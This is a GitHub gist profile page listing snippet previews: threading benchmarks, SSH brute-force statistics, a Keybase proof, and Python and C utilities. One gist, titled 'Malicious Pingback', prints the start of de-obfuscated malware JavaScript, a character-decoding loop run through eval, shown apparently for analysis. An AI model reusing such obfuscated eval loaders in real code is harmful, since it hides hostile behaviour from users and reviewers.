Skip to content

Instantly share code, notes, and snippets.

View mikeboers's full-sized avatar

Mike Boers mikeboers

View GitHub Profile
@mikeboers
mikeboers / stdout.txt
Created August 23, 2014 17:25
Testing Shotgun threading
$ python threaded_dump.py
..
2 in 1.157s (578.617ms each)
...............
17 in 3.286s (193.311ms each)
................
33 in 4.767s (144.452ms each)
@mikeboers
mikeboers / gist:678cd3bf00046eecc457
Created November 20, 2014 16:09
Password attempts to SSH server
This is lifted from http://w8rbt.org/patches/results.txt
which is not up at time of tweeting.
// Average brute-force attempts per year
6,803,663
// Average brute-force attempts per day
18,640
// Top ten complex frequent passwords
@mikeboers
mikeboers / de-obfuscated.js
Last active August 29, 2015 14:16
Malicious Pingback
var qi = "",
ri = "",
ui, si = new Array(),
ti;
function oi(pi) {
for (ui = 0; ui < ti.length; ui++) si[ui] = ti.charCodeAt(ui);
ui = "ui=49;do{if(ui<2)break;si[ui]=(((-((si[ui]-51)&0xff))&0xff)+si[50])&0xff;ui--;}while(true);";
eval(ui);
ui = 48;
@mikeboers
mikeboers / keybase.md
Last active August 29, 2015 14:21
Keybase proof

Keybase proof

I hereby claim:

  • I am mikeboers on github.
  • I am mikeboers (https://keybase.io/mikeboers) on keybase.
  • I have a public key whose fingerprint is 9F79 893F 1D13 9C88 86F3 66AD AF8A 1CD7 EAD0 90C4

To claim this, I am signing this object:

# encoding: utf8
from __future__ import print_function
import base64
import ast
def dumps(x):
if x in (True, False, None):
return repr(x)
t = type(x)
import re
from mako.template import Template
source = '''pre %{for i in range(10)}
${- i -}
%{- if i % 2 -}
-
%{- else -}
|
%{- endif -}
@mikeboers
mikeboers / convert.py
Created August 27, 2012 13:59
How to use Google Authenticator links with OATH Token
import base64
import re
import sys
if len(sys.argv) > 1:
code = ''.join(sys.argv[1:])
else:
code = sys.stdin.read()
# Parse the Google URL.
@mikeboers
mikeboers / X.mc-parsed.txt
Created February 27, 2013 21:50
Parsed 3x3x3 Maya fluid caches; one for each axis where the density increased in the positive direction.
Start CACH (FOR4) of length 40
<Chunk 'VRSN' size=4 value=None>
0014: 302e3100 0.1.
<Chunk 'STIM' size=4 value=None>
0020: 000001f4 ....
<Chunk 'ETIM' size=4 value=None>
002c: 000001f4 ....
@mikeboers
mikeboers / ks.core.partio.conv.py
Created March 13, 2013 16:25
Wrapper around partio's `partconv` tool for handling Maya file naming conventions.
#!/usr/bin/env python
from subprocess import call
import os
import sys
import re
if len(sys.argv) < 3:
print 'usage: %s particle_folder output_type+' % sys.argv[0]
exit(1)
@mikeboers
mikeboers / .bash_history
Created May 15, 2013 18:08
Tiny fork example
2013-05-15 11:06:20 mikeboers@faraday: ~/Desktop
$ gcc fork.c
2013-05-15 11:07:25 mikeboers@faraday: ~/Desktop
$ ./a.out
Before the fork.
I am the parent of 9761.
I am the child.